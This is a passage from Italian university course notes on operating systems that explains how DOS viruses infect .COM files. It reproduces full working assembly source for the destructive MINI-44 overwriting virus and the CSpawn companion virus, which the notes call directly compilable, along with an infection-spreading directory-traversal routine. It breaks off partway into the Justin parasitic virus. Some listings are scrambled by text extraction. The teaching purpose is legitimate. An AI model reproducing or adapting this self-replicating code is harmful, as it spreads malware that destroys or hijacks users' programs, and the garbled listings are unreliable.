del tipo runtime la scelta può avvenire in più modi: si possono infettare file nella sola directory corrente, oppure
mediante funzioni speciali è possibile estendere l’infezione in qualsiasi directory o in una in particolare. In quest ultimo
caso l’utilizzo di “directory traversal function“ potrebbe espandere l’infezione e la sua velocità in modo molto più
efficace. Un esempio di funzione simile, tratto dal codice del Funky Bob virus è:
traverse_fcn proc near
push bp
; Crea stack frame
mov bp,sp
sub sp,44
; Alloca spazio per DTA
call infect_directory
; cerca e distrugge le routines
mov ah,1Ah
;imposta il DTA
lea dx,word ptr [bp-44]
int 21h
;esegue ora
mov ah, 4Eh
;trova il primo
mov cx,16
;Directory mask
lea dx,[si+offset dir_mask]
; *.*
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14]
; il primo è char == '.'?
je
short donext
;se sì ripeti il loop
lea dx,word ptr [bp-14]
;altrimenti carica il dirname
mov ah,3Bh
int 21h
jc
short donext
;esegui il prossimo se non valido
inc word ptr [si+offset nest]
;prossimo++
call near ptr traverse_fcn
;ricorsivo
donext:
lea dx,word ptr [bp-44]
; Alloca spazio per DTA
mov ah,1Ah
;e regola DTA in questa nuova area
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
int 21h
mov ah,4Fh
int 21h
isdirok:
jnc gonow
cmp word ptr [si+offset nest], 0
jle short cleanup
dec word ptr [si+offset nest]
lea dx, [si+offset back_dir]
mov ah,3Bh
int 21h
cleanup:
mov sp,bp
pop bp
ret
traverse_fcn endp
nest dw 0
;variabili
back_dir db '..',
dir_mask db '*.*',0
11
;trova il prossimo
; se OK, esegui gonow
; se è la root
; (prossimo == 0)
;allora lascia
; altrimenti decrementa il prossimo
; '..'
; cambia directory
; alla precedente
;
La ricerca della dirctory da infettare può anche avvenire in modo antisequenziale, cioè controllando che essa non sia già
stata infettata, se così fosse si passa alla precedente e così via. Il codice diventa:
dir_loopy:
call
lea
mov
int
jnc
infect_directory
dx, [bp+dotdot]
ah, 3bh
21h
dir_loopy
; Variables
dotdot db
; CHDIR
; Carry set if in root
'..',0
3.3 Virus che infettano i file .COM
Il virus più semplice da realizzare è un codice che infetta i .COM, in quanto questi file non contengono strutture di dati
che il sistema operativo deve interpretare ma solo codice ( diversamente dai .EXE). Esistono tre tipi di “COM infecting
viruses”:
1.
Overwriting viruses
2.
Companion viruses
3.
Parasitic viruses
Quando dal prompt di DOS viene battuto il nome di un programma, il DOS comincia a cercare file aventi quel nome ed
estensione COM e se ne trova uno lo carica nella memoria e lo esegue. Se non li trova dirige la ricerca su file con lo
stesso nome ma estensione EXE per caricarlo ed eseguirlo. Infine cerca di trovare ed eseguire i file BAT e se non trova
nulla di tutto, manda in uscita un messaggio di errore : “ Bad command or file name”. I COM file sono direttamente
eseguibili dalla CPU e hanno un segmento codice predefinito, che è costruito nella struttura del DOS, mentre gli EXE
sono designati a manipolare formati di segmento codice definiti dal programmatore, tipicamente programmi complicati
e di grandi dimensioni. I COM sono quindi una immagine binaria di ciò che dovrà essere messo in memoria ed eseguito
dalla CPU. Per eseguire un COM file, il DOS deve fare dei lavori di preparazione, caricare il programma in memoria e
dare a esso il controllo. Fino all’istante in cui il controllo passa al programma, il DOS è il programma in esecuzione e
ha la possibilità di manipolare il programma secondo i dati. Questo processo può essere spiegato con un semplice
segmento codice, un programma COM che è l’equivalente in assembler di hello.c.
.model tiny
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
12
.code
ORG 100H
HOST:
HI
mov
mov
int
ah, 9
dx,OFFSET HI
21H
;prepara la visualizzazione de messaggio
;indirizzo del messaggio
;lovisualizza col DOS
mov
int
ax, 4C00H
21H
;prepara la terminazione del progarmma
;e lo termina con il DOS
DB
'You have just released a virus! Have a nice day!$'
END HOST
Questo programma può essere compilato come HOST.COM. e quando si digita dal prompt HOST, il DOS riserva una
porzione di memoria nella quale il programma può risiedere e operare. Si ricorda che i programmi .COM sono un
lascito dei vecchi sistemi CP/M, cioè sistemi operativi mono directory usati precedentemente ai sistemi a processore
8088 o Z80, più recenti. Per rendere più agevole il passaggio, i sistemi 8088 e MS-DOS furono implementati in modo
da supportare i vecchi programmi del CP/M nel modo più semplice possibile e i programmi COM ne furono il risultato.
I sistemi a microprocessore 8088 hanno quattro registri di segmento CS,DS,SS,ES cioè Code Segment, Data Segment,
Stack Segment e Extra Segment e ognuno svolge funzioni differenti. Il CS specifica il segmento di memoria di 64K in
cui c’è l’istruzione del programma corrente eseguita dalla CPU. Il DS contiene i dati del programma e nello Stack
segment si trova lo stack. A dimostrazione della loro antica origine, i COM file usano un solo segmento, quindi non
sfruttano la segmentazione della memoria che consentirebbe di indirizzare più dei 64Kbytes possibili con un solo
registro da 16bit. Infatti prima della loro esecuzione, il DOS setta tutti i registri a un valore solo, cs=ds=es=ss. Tutti i
dati sono memorizzati nello stesso segmento così come il codice del programma, e lo stack lo separa. Il COM file può
quindi usare qualsiasi segmento e funzionare bene comunque. Il segmento usato dal programma COM deve però essere
impostato dal DOS prima che il programma stesso vi venga caricato all’offset 100H. Il DOS inoltre crea nella memoria,
a partire dall’offset 0 al 0FFH, il PSP8, descritto in figura (3.1):
Offset Size
Description
0H
2
Int 20H Instruction
2
2
Address of last allocated segment
4
1
Reserved, should be zero
5
5
Far call to Int 21H vector
A
4
Int 22H vector (Terminate program)
E
4
Int 23H vector (Ctrl-C handler)
12
4
Int 24H vector (Critical error handler)
16
22
Reserved
2C
2
Segment of DOS environment
2E
34
Reserved
50
3
Int 21H / RETF instruction
53
9
Reserved
5C
16
File Control Block 1
6C
20
File Control Block 2
80
128 Default DTA (command line at startup)
100
-
Begining of COM program
Fig (3.1)
8
Program Segment Prefix
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
13
Anche il PSP è un lascito del vecchio sistema CP/M, ed era la porzione di memoria in cui il SO situava dati importanti
per il sistema stesso. Oggi questo segmento resta per lo più inutilizzato, per esempio contiene il FCB 9 da usare con le
funzioni del DOS per aprire, leggere, scrivere,chiudere (0FH, 10H, 14H, 15H) i file, che nessuno usa e sono preferibili
le funzioni di aggancio 3DH, 3EH, 3FH, 40H introdotte nel DOS 2.00. Tutta via, anche se obsolete, queste funzioni e
altre parti del PSP possono essere utilizzate, per esempio tutto ciò che segue il nome del programma, sulla riga di
comando per lanciarlo, viene memorizzata all’inizio del PSP all’offset 80H. Per esempio se eseguiamo HOST con la
stringa al prompt:
C:\ HOST Hello there!
Il PSP diventa:
2750:0000 CD 20 00 9D 00 9A FE-1D F0 4F 03 85 21 8A 03
2750:0010 85 21 17 03 85 21 74 21-01 08 01 00 02 FF FF FF
2750:0020 FF FF FF FF FF FF FF-FF FF FF FF 32 27 4C 01
2750:0030 45 26 14 00 18 00 50 27-FF FF FF FF 00 00 00 00
2750:0040 06 14 00 00 00 00 00 00-00 00 00 00 00 00 00 00
2750:0050 CD 21 CB 00 00 00 00 00-00 00 00 00 00 48 45 4C
2750:0060 4C 4F 20 20 20 20 20 20-00 00 00 00 00 54 48 45
2750:0070 52 45 21 20 20 20 20 20-00 00 00 00 00 00 00 00
2750:0080 0E 20 48 65 6C 6C 6F 20-74 68 65 72 65 21 20 0D
2750:0090 6F 20 74 68 65 72 65 21-20 0D 61 72 64 0D 00 00
2750:00A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
2750:00B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
2750:00C0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
2750:00D0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
2750:00E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
2750:00F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
. ........O..!..
.!...!t!........
............2'L.
E&....P'........
................
.!...........HEL
LO .....THE
RE! ........
. Hello there! .
o there! .ard...
................
................
................
................
................
................
A 80H troviamo il valore 0EH, cioè la lunghezza di “Hello! There!” seguita dalla stessa stringa. In modo simile il PSP
contiene anche l’indirizzo dell’ambiente di sistema, che contiene tutte le variabili “set” contenute nell’autoexec.bat,
come i, path che il DOS cerca per gli eseguibili, quando viene data una stringa di comando dal prompt. Questo path o
nome di percorso è molto importante perché viene utilizzato dal virus per sapere dove trovare programmi molto adatti a
essere infettati. L’ultima operazione che il DOS deve fare per eseguire un COM è impostare lo STACK. Tipicamente lo
stack è all’estremo superiore del segmento in cui risiede il programma COM, come in figura (3.2). I primi due bytes
sono sempre impostati dal DOS in modo che l’istruzione RET termini il COM e ritorni il controllo a sé. Questi bytes
sono settati a zero per causare un salto all’offset 0, dove l’istruzione int20H è contenuta nel PSP. Questa istruzione
ritorna il controllo al DOS, che setta poi lo stack pointer SP, a FFFE hex, saltando all’offset 100H, causando
l’esecuzione del programma COM richiesto.
fig(3.2) Memory map prima dell’esecuzione di un file .COM
9
File Control Block
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
14
3.4 Overwriting virus
Sono virus piuttosto semplici, ma anche molto individuabili in quanto danneggiano il programma ospite, sostituendogli
una parte di codice con il proprio, rendendolo inutilizzabile. La sostituzione avviene per sovra scrittura, da qui il nome
overwriting . Per esempio è riportato di seguito il codice del MINI-44 Virus:
I
;44 byte virus, distrugge sovrascrivendo tutto I file .COM
;current directory.
;
;(C) 1994 American Eagle Publications, Inc.
.model small
.code
FNAME EQU 9EH
;risultato della search function file name.
ORG
100H
START:
mov ah,4EH
mov dx,OFFSET COM_FILE
int 21H
SEARCH_LP:
jc
DONE
mov ax,3D01H
mov dx,FNAME
int 21H
xchg
mov
mov
mov
int
mov
int
mov
int
jmp
DONE:
ret
ax,bx
ah,40H
cl,42
dx,100H
21H
ah,3EH
21H
ah,4FH
21H
SEARCH_LP
COM_FILE
END
;cerca *.COM (search first)
;apri il file trovato
;sovrascrivi il virus
;dimensione del virus
;posizione del virus
;chiudi file
;cerca il prossimo file
;ritorna al DOS
DB
'*.COM',0
;stringa per la COM file search
START
Questo virus occupa 44 byte quando è assemblato, quindi ha dimensioni minime, tuttavia infetta e distrugge tutti i file
.COM della direttori in cui viene lanciato. Ciò che esso compie è riassumibile in cinque passi:
1.
Viene caricato ed eseguito un file infetto dal DOS
2.
Il virus va in esecuzione all’offset 100H nel segmento memoria datogli dal DOS
3.
Il virus cerca la directory corrente per trovare file con estensione .COM e nome qualsiasi
4.
Per ogni file infettabile, il virus lo apre e sovrascrive i suoi stessi 44 byte partendo dall’inizio del programma
5.
Il virus termina e restituisce il controllo al DOS
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
15
Prendiamo in considerazione un PC IBM che lavori sotto DOS. Questo sistema operativo immagazzina tutte le
informazioni su ogni file sul disco in due zone : la directory e la FAT 10. La directory contiene un FILE DESCRIPTOR
di 32 byte per ogni file ( fig 3.3). Il descrittore contiene il nome del file, l’estensione, la sua dimensione, la data e l’ora
di creazione ed eventuali attributi del file, che descrivono informazioni specifiche per il sistema operativo circa il file.
Vi possono essere più directory, una principale root directory e altre secondarie subdirectory. La FAT è invece una
mappa dell’intero disco, che dice al sistema operativo quale area è occupata da quale file. Sia la FAT che la root
directory sono :
Fig (3.3)
poste in un’area a loro dedicata mentre le subdirectory sono memorizzate come gli altri file ma con l’attributo che
segnala al SO che si tratta di un file directory. In tal modo viene trattato diversamente dai file comuni, anche perché il
file directory è una semplice sequenza di records da 32 byte. Benché la ricerca concettuale di un file possa essere
complicata ( perché il file andrebbe cercato tramite le directory e la lettura del file descriptor), in realtà si affida tutto il
lavoro al SO e quindi al DOS. Lo strumento per indicare al SO cosa fare è l’ISR11. Nel nostro caso servirà l’interrupt
21H e ad esempio il codice seguente serve ad aprire in lettura un file che si trova in FNAME.
mov
xor
mov
int
dx,OFFSET FNAME
al,al
;al=0
ah,3DH
;DOS function 3D
21H
;go do it
La int21H trasferisce il controllo al DOS e lo lascia lavorare, dopo che il file è stato aperto il controllo torna subito
all’istruzione seguente l’interrupt dato. Il registro AH contiene il numero di funzione attraverso il quale il DOS sa cosa
gli si sta chiedendo di fare, mentre la coppia DX, DS servono come puntatori alla zona di memoria in cui il nome del
file da aprire è conservato. Settando AL a zero il SO sa che deve aprire il file in sola lettura.
Per quanto riguarda la ricerca dei file, questa è eseguita da funzioni di ricerca proprie del DOS cioè search first e search
next, che furono implementate nell’interrupt 21H. Si tratta di due funzioni piuttosto complicate che richiedono un certo
settaggio. Primo si prepara una stringa ASCIIZ in memoria che specifica la directory da cercare e il file. Per esempio
10
11
File Allocation Table
Interrupt Service Routine
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
16
DB '\sub\obbiettivo.*',0
Specifica la ricerca del file “obbiettivo” di qualsiasi estensione nella subdirectory “sub” (,0 termina la stringa). Se non
specifico un path, ad esempio *.COM cercherò tutti i file di estensione .COM0, con qualsiasi nome e nella directory
corrente. La seconda operazione è regolare i registri DS e Dx al punto di segmento e offset della stringa ASCIIZ in
memoria. Il registro CL va impostato in base a un attributo del file, che comunica al DOS quali attributi di file
comprendere nella ricerca e quali escludere. Infine si chiama la search function con AH = 4E hex. Se la ricerca ha
successo la funzione da in ritorno AL =0 e formatta 43 bytes di dati nel DTA 12 che mostrano i risultati della ricerca,
quindi il nome, gli attributi, la dimensione e la data di creazione del file trovato, dati che verranno poi usati anche dalla
search next. Se la ricerca ha esito negativo si avrà AL non nullo e zero byte nel DTA. Il programma infetto che effettua
la chiamata, sa l’indirizzo in cui è posizionato il DTA e lo consulta per avere le informazioni sui file trovati(il DTA è
per default settato a 80H nel PSP program segment prefix). Un esempio di ricerca search first, simile a quella effettuata
dal MINI-44 è :
SRCH_FIRST:
mov dx,OFFSET COMFILE
mov ah,4EH
int
21H
jc
NOFILE
FOUND:
COMFILEDB
'*.COM',0
; imposta l’offset della stringa ASCIIZ
;cerca la funzione first
;richiama il DOS
;torna da capo se non trova
;punto di arrivo se il file viene trovato
Questo codice cerca tutti I file con estensione COM ,nascosti o file di sistema nella directory corrente. Se la ricerca ha
termine in modo positivo il DTA apparirà così:
03 3F 3F 3F 3F 3F 3F 3F-3F 43 4F 4D 06 18 00 00
00 00 00 00 00 00 16 98-30 13 BC 62 00 00 43 4F
4D 4D 41 4E 44 2E 43 4F-4D 00 00 00 00 00 00 00
.????????COM....
........0..b..CO
MMAND.COM.......
In questo caso è stato trovato il file COMMAND.COM.
La funzione search next sarà più facile da implementare in quanto i dati utili sono già stati resi disponibili dalla search
first. Sarà sufficiente avviare la next impostando il registro AH a 4FH. L’esempio di utilizzo :
mov
ah,4FH
int
21H
jc
NOFILE
FOUND2:
;cerca la next function
;chiama il DOS
;torna se non trova
;altrimenti procedi
Nel caso del MINI-44 è ugualmente :
mov ah,4FH
int 21H
jmp SEARCH_LP
DONE:
;cerca il prossimo file
Il MINI-44 utilizza le funzioni del DOS search first e search next singolarmente come descritto prima, impostandole in
modo tale da trovare tutti i COM in una directory predefinita, seguendo il seguente schema logico in figura (fig 3.4).
La prima operazione cerca un file adatto a essere infettato secondo i criteri di ricerca, che si impostano come detto, nelle
istruzioni di preparazione, prima di chiamare la search first. Se la ricerca ha esito positivo, apre in scrittura il file con
l’interrupt 21H e sovrascrive il file col suo codice, infettandolo, quindi passa a chiamare la next search per trovare un
altro file vittima. Se la ricerca ha esito negativo ritorna al DOS il controllo.
12
Disk Transfer Area
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
17
Fig(3.4) Logica di ricerca del MINI-44
Per replicarsi il MINI-44 apre il programma ospite in scrittura, proprio come un programma può aprire un file ordinario,
e vi scrive una copia di se stesso, dopodiché lo chiude. L’apertura avviene mediante il DOS interrupt 21H, che
corrisponde a 3D in hex. Il diritto di accesso nel registro AL è impostato a 1 per poter aprire il programma in sola
scrittura mentre la coppia DS:DX devono puntare al nome del file, che è già presente nel DTA dalla funzione di ricerca
FNAME=9EH. L’apertura nel complesso è eseguita da:
mov
mov
int
ax,3D01H
dx,OFFSET FNAME
21H
Se il DOS apre il file con successo esso ritorna un file d’aggancio (handle) con un numero di 16 bit, posto nel registro
AX , che ha il compito di riferire il file appena aperto. Poiché tutte le altre operazioni che verranno eseguite sul file dal
DOS richiedono questo riferimento nel registro BX, MINI-44 esegue una mov bx,ax così da spostarlo dove serve.
Successivamente il virus copia se stesso nel file usando l’interrupt 21H, vale a dire la funzione 40H e per fare questo la
coppia DS:DX deve essere impostata per puntare al codice che deve essere scritto nel file, che nel caso, è il virus stesso,
collocato in DS:100H (DS è già stato impostato al valore giusto quando il COM venne caricato dal DOS). A questo
punto il virus viene eseguito e tratta se stesso come un qualsiasi dato da scrivere in un file. Per attivare la funzione 40H
occorre impostare CL col valore del numero di bytes da scrivere su disco, nel nostro caso 44, DX punta ai dati da
scrivere (il virus) e BX contiene il file di ritorno dell’operazione di apertura del file da scrivere. Tutto è impostato con:
mov
bx,ax
mov
dx,100H
mov
cx,44
mov
ah,40H
int
21H
;metti il file di aggancio in BX
;posizione da cui scrivere
;numero di bytes da scrivere
;esegui
Infine il MINI-44 chiude il file con una funzione del DOS, la 3EH che da sempre in BX un file di ritorno. La struttura
risultante si riassume con questa tabella in figura (3.5):
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
18
Uninfected
Infected
Original COM File Code
Original COM File Code
Original COM File Code
Original COM File Code
Original COM File Code
Original COM File Code
Original COM File Code
Original COM File Code
Original COM File Code
Original COM File Code
Original COM File Code
MINI-44 Virus Code
Fig. (3.5) COM file non infettato e infettato
Il MINI-44 è un virus sorprendentemente semplice da implementare, tuttavia è ottimo virus, piccolo, compatto, in grado
di infettare e distrugge tutti i file .COM, senza scampo e l’unica soluzione post-infezione è di cancellare e sostituire i
file danneggiati con nuovi da copie di back-up. Il difetto di questo virus nasce dal fatto che è di tipo overwriting , vale a
dire sovrascrive i file infettati creando però danni sicuramente troppo vistosi, per cui è facilmente individuabile.
3.5 Companion virus
Questo tipo è il più semplice non-destructive virus che può colpire i sistemi tipo IBM PC, ed è caratterizzato dal fatto
che non distrugge i file che infetta, restando più discreto e comunque molto efficace. Esso inganna l’utente rinominando
i programmi sul disco con nomi non usuali, e rimpiazza il programma col nome originale con se stesso. In figura n sono
presenti due situazioni, prima e dopo un infezione di questo tipo:
Name
HOST1
HOST5
HOST6
HOST7
Ext
Size #Clu
COM
210
COM
1984
COM
501
COM
4306
Date Time Attributes
1 4/19/94 9:13p Normal,Archive
1 4/19/94 9:13p Normal,Archive
1 4/19/94 9:13p Normal,Archive
1 4/19/94 9:13p Normal,Archive
Fig. (3.6a): Directory HOST.COM non infettato
|
Name
Ext
Size #Clu Date Time Attributes
|
HOST1
COM
180
1 10/31/94 9:54a Hidden,Archive <--+
HOST5
COM
180
1 10/31/94 9:54a Hidden,Archive <--+
HOST1
CON
210
1 4/19/94 9:13p Normal,Archive |
HOST6
COM
180
1 10/31/94 9:54a Hidden,Archive <--+
HOST7
COM
180
1 10/31/94 9:54a Hidden,Archive <--+
HOST5
CON
1984
1 4/19/94 9:13p Normal,Archive
HOST6
CON
501
1 4/19/94 9:13p Normal,Archive
HOST7
CON
4306
1 4/19/94 9:13p Normal,Archive
Fig. (3.6b): Directory con HOST1.COM infettato
Si nota che il file HOST1.COM, una volta infettato diventa HOST1.CON e il virus vive nel file nascosto
HOST1.COM. Se dal prompt del DOS si digita HOST1 parte subito il virus che, terminate le sue operazioni passa il
controllo all’ospite HOST1.CON, appena esso è pronto. Quindi il file o il codice del programma ospite non vengono in
alcun modo compromessi. Le operazioni fondamentali di un companion virus sono due: prima di tutto deve diffondersi
e infettare altri file, deve inoltre essere capace di trasferire il controllo al programma ospite, cioè quello che l’utente
pensa di aver lanciato col comanda dal prompt (ma in realtà non ha lanciato solo quello).
Vediamo il virus CSpawn come esempio di non-resident companion virus. Prima di tutto CSpawn riduce la memoria
che preleva per sé, quindi sposta lo stack. Infatti nei programmi COM lo stack viene sempre impostato in modo da
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
19
essere alla cima del segmento di codice, il che vuol dire che il programma può prendere 64 Kbytes di memoria, anche se
è molto più piccolo. Ad esempio CSpawn necessita di qualche centinaio di bytes per lo stack, e lo si sposta quindi
appena alla fine del codice cambiando il valore del registro SP:
mov SP,OFFSET FINISH + 100H
Successivamente CSpawn deve ordinare al DOS di rilasciare la memoria in più attraverso un l’interrupt 21H, funzione
4AH, mettendo un certo numero di blocchi di memoria nel registro BX:
mov
mov
int
ah, 4AH
bx ,(OFFSET FINISH )/16 +11H
21H
Una volta impostata la memoria il virus è libero di eseguire il programma ospite usando l’interrupt 21H del DOS,
funzione 4BH EXEC. Per avviare questa chiamata bisogna prima impostare la coppia DS:DX in modo da puntare al
nome del file da eseguire, contenuto nel codice virus, nella variabile SPAWN_NAME. La coppia ES:BX deve puntare a
certi parametri riportati nella tabella seguente (per dire al DOS dove variabili come la linea di comando sono poste). Il
registro AL va messo a zero per segnalare al DOS che deve caricare ed eseguire il programma (altri valori provvedono
solo al caricamento):
Offset Dimensioni(bytes) Descrizione
0
2
Segmento dell’environment string. Questo è di solito posto all’offset
chiamante , benché il programma chiamante l’EXEC può cambiarlo
2CH nel
PSP del programma
2
4
Puntatore alla linea di comando (tipicamente posta all’ offset 80H nel PSP del programma chiamante,
PSP:80H)
6
4
Puntatore al primo default FCB (tipicamente posto a 5CH nel PSP, PSP:5CH)
10
4
Puntatore al secondo FCB (posto all’offset 6CH nel PSP, PSP:6CH)
14
4
Valori iniziali di ss:sp del programma caricato (sottofunzione1 e, ritornate dal DOS)
18
4
Valori iniziali di CS:IP del programma caricato (sottofunzione1 e, ritornate dal DOS)
Riassumendo quanto detto sopra il codice dovrà caricare ed eseguire il programma ospite, senza troppa confusione e
ritornando poi il controllo al virus quando ha terminato. Ovviamente, durante l’esecuzione, il programma ospite
“schiaccerà” molti dei registri in uso, come lo stack e il registro di segmento, quindi il virus dovrà sistemare
l’impostazione di questi prima di fare qualsiasi altra cosa. Il codice usato è il seguente :
mov
mov
mov
int
dx,OFFSET SPAWN_NAME
bx,OFFSET PARAM_BLK
ax,4B00H
21H
Il sistema di ricerca dei file del companion virus Cspawn nello stesso modo del MINI-44, usando la search first e la
search next ,interrupt 21H, le funzioni 4Eh e 4FH. La search routine sarà :
SLOOP:
mov
dx,OFFSET COM_MASK
mov
ah,4EH
xor
cx,cx
int
21H
jc
SDONE
call
INFECT_FILE
mov
ah,4FH
jmp
SLOOP
;cerca first
;solo i file normali
;esegui la ricerca
;se non trova nulla,esce
;se ne trova uno ,lo infetta
;cerca la funzione next
;ripeti da capo
SDONE:
Per funzionare bene però, il CSpawn necessita di una operazione in più. Infatti la funzione di ricerca del DOS utilizzata
richiede 43 bytes nel DTA, e quando il DOS esegue un programma, esso imposta il DTA oltre DS:0080H .Il
programma ospite viene eseguito prima della search routine del virus e il DOS ha già quindi spostato iol DTA al data
segment del programma ospite che, a sua volta, può averlo spostato ovunque. Per questo CSpawn necessita prima della
ricerca di reimpostare il DTA, utilizzando la funzione 1AH, impostando DS:DX all’indirizzo in cui si desidera avere il
DTA( la posizione di default). Quindi :
mov
ah,1AH
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
mov
int
20
dx,80H
21H
Dopo aver individuato un file da colpire l’infezione prevede prima la rinominazione del programma ospite e
successivamente fare una copia di sé con il nome dell’ospite di partenza. In questo modo, quando il nome del
programma ospite sarà digitato e inviato, il virus verrà eseguito al posto di questo. Per rinominare l’ospite il virus copia
il suo nome dal DTA dove la search routine l’ha messo, come risultato delle sue operazioni di ricerca e lo mette in un
buffer chiamato SPAWN_NAME. In seguito CSpawn sostituisce l’ultima lettera di questo nome con una “N” e chiama
la funzione di rename del DOS, interrupt 21H, funzione 56H. Per poterla usare, però, DS:DX devono puntare al nome
originale (nel DTA) e ES:DI deve puntare al nuovo nome (nel buffer SPAWN_NAME) :
mov
mov
mov
int
dx,9EH
di,OFFSET SPAWN_NAME
ah,56H
21H
;DTA + 1EH,nome originale
Infine il virus crea un file col nome originario del programma ospite:
mov
mov
mov
int
ah,3CH
cx,3
dx,9EH
21H
;funzione del DOS per creare file
;setta a solo in lettura e nascosto gli attributi del file creato
;DTA + 1EH, nome originale
…scrive una copia di sé n quel file:
mov
mov
mov
int
ah,40H
cx,FINISH-CSpawn
dx,100H
21H
;funzione del DOS per scrivere il file
;dimensioni del virus
;posizione del virus
L’impostazione a HIDDEN degli attributi del file creato da Cspawn è molto importante. Infatti rende la disinfezione più
difficile in quanto per cancellare i file del virus, servono prima delle utilità come PC tools o NORTON utilities per
renderli visibili. Inoltre si evita che il virus infetti se stesso, per esempio se infettasse il file XXYYZZ, ci saranno due
file : XXYYZZ.COM il virus e XXYYZZ.CON l’originale. All’avvio del virus la search routine potrebbe puntare lo
stesso XXYYZZ.COM infettandosi da solo. L’uso di un XXYYZZ.COM nascosto risolverebbe il problema perché la
search routine lo salterebbe nella ricerca.
Di seguito è riportato per intero il codice del CSpawn companion virus, compilabile con MASM,TASM o A86e
direttamente eseguibile:
;(C) 1994 American Eagle Publications, Inc. All Rights Reserved!
.model tiny
.code
org
0100h
CSpawn:
mov
mov
mov
mov
shr
inc
int
sp, OFFSET FINISH + 100H
ah, 4AH
bx, sp
cl, 4
bx, cl
bx
21H
;cambia la cima allo stack
;funzione del DOS di ridimensionamento memoria
mov
mov
mov
mov
mov
mov
mov
bx, 2CH
;impostazione EXEC
ax, [bx]
WORD PTR [PARAM_BLK], ax ;environment segment
ax, cs
WORD PTR [PARAM_BLK+4], ax
;lunghezza della stringa di parametri
WORD PTR [PARAM_BLK+8], ax
;lunghezza di FCB1
WORD PTR [PARAM_BLK+12], ax
;lunghezza di FCB2
;BX=num di paragrafi di memo da prendere
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
mov
dx, OFFSET REAL_NAME
mov bx,OFFSET PARAM_BLK
mov ax,4B00H
int 21H
;esecuzione ospite
cli
mov
mov
mov
mov
sti
push
mov
mov
bx,ax
;salva qui il codice di ritorno
ax,cs
;AX contiene il segmento codice
ss,ax
;reimposta prima lo stack
sp,(FINISH - CSpawn) + 200H
bx
ds,ax
es,ax
;reimposta il data segment
;reimposta extra segment
mov ah,1AH
mov dx,80H
int 21H
call FIND_FILES
;funzione DOS per il settaggio del DTA
;mette il DTA all’offset 80H
pop ax
mov ah,4CH
int 21H
;AL contiene il valore di ritorno
;funzione del DOS terminate
;trova e infetta i file
;Routine di codice che trova iCOM file e li infetta se la ricerca termina positivamente
FIND_FILES:
mov dx,OFFSET COM_MASK
;cerca i COM file
mov ah,4EH
;funzione del DOS find first file
xor cx,cx
;CX contiene tutti gli attributi del file
FIND_LOOP:
int 21H
jc
FIND_DONE
;esce se non trova un file
call INFECT_FILE
;infetta il file
mov ah,4FH
;funzione del DOS per trovare il prossimo file
jmp FIND_LOOP
;prova a trovare un altro file
FIND_DONE:
ret
;ritorna al chiamante
COM_MASK
db
'*.COM',0
;COM file search mask
;questa routine infetta il file specificayo nel DTA.
INFECT_FILE:
mov si,9EH
;DTA + 1EH
mov di,OFFSET REAL_NAME ;DI punta il nuovo nome
INF_LOOP:
lodsb
;carica un carattere
stosb
;e lo salva nel buffer
or
al,al
;è uguale a NULL?
jnz INF_LOOP
;sa sì ,abbandona il loop
mov WORD PTR [di-2],'N'
;cambia nome in CON & add 0
mov dx,9EH
;DTA + 1EH
mov di,OFFSET REAL_NAME
mov ah,56H
;rinomina il file originale
int 21H
jc INF_EXIT
;if can't rename, already done
mov ah,3CH
mov cx,2
int 21H
;funzione del DOS per creare un file
;setta l’attributo di file nascosto
mov
mov
;BX contiene il file handle
;funzione del DOS per scrivere il file
bx,ax
ah,40H
21
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
mov cx,FINISH - CSpawn
mov dx,OFFSET CSpawn
int 21H
mov ah,3EH
int 21H
INF_EXIT:
ret
REAL_NAME
db
;CX contiene la lunghezza del virus
;DX punta al CSpawn del virus
;funzione del DOS per chiudere il file
13 dup (?)
;DOS EXEC function parameter block
PARAM_BLK
DW
?
DD
80H
DD
5CH
DD
6CH
FINISH:
end
22
;nome dell’ospite da eseguire
;environment segment
;lunghezza della command line
;lunghezza della prima FCB
; lunghezza della seconda FCB
CSpawn
3.6 Parasistic Virus (JUSTIN)
Questo è il terzo e ultimo tipo di virus che infetta i COM file attaccando se stesso al file ospite. Abbiamo visto come i
companion virus non distruggono il programma nel quale vivono, ma lasciano tracce della loro presenza come file
rinominati o nuovi file, seppur nascosti; inoltre fanno un pesante uso del DOS per provvedere all’esecuzione del
programma host . Diversamente i parasistic virus si limitano ad aggiungersi al codice della vittima e l’unico segno per
rendersi conto della loro presenza è un piccolo aumento delle dimensioni del programma ospite e una diversa data di
modifica relativa a esso. Essi sono molto attenti a non lasciare ulteriori tracce di sé e provvedono a lasciare l’esecuzione
del programma ospite assolutamente intatta, cosicché questo possa lavorare correttamente quando il virus gli restituisce
il controllo. Esistono due diversi approcci per realizzare un malware di questo tipo, uno è quello di inserire il virus alla
fine del codice programma e l’altro all’inizio. Come esempio prendiamo il justin virus ,che rientra nella seconda
categoria ,cioè si copia in testa al codice ospite. Il sistema di infezione su un COM file effettuato da justin è mostrato in
figura (n):
Fig(3.7) Attività del virus Justin su un file .COM
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
23
La prima operazione importante che questo virus compie è di controllare se il sistema ha abbastanza memoria per
permettergli di venire eseguito in modo opportuno. Quindi legge tutto l’ospite nella memoria e lo copia nello stesso file
ma con un offset diverso. In genere un COM file occupa al massimo 64Kbytes, quindi un buffer di tali dimensioni deve
essere disponibile nella memoria del computer. Se così non fosse il virus non può partire, e resterà semplicemente in
uno stato latente di riposo. La routine di controllo, usata da justin, che verifica la memoria è riportata qui di seguito:
call CHECK_MEM
jc
GOTO_HOST_LOW
call JUMP_HIGH
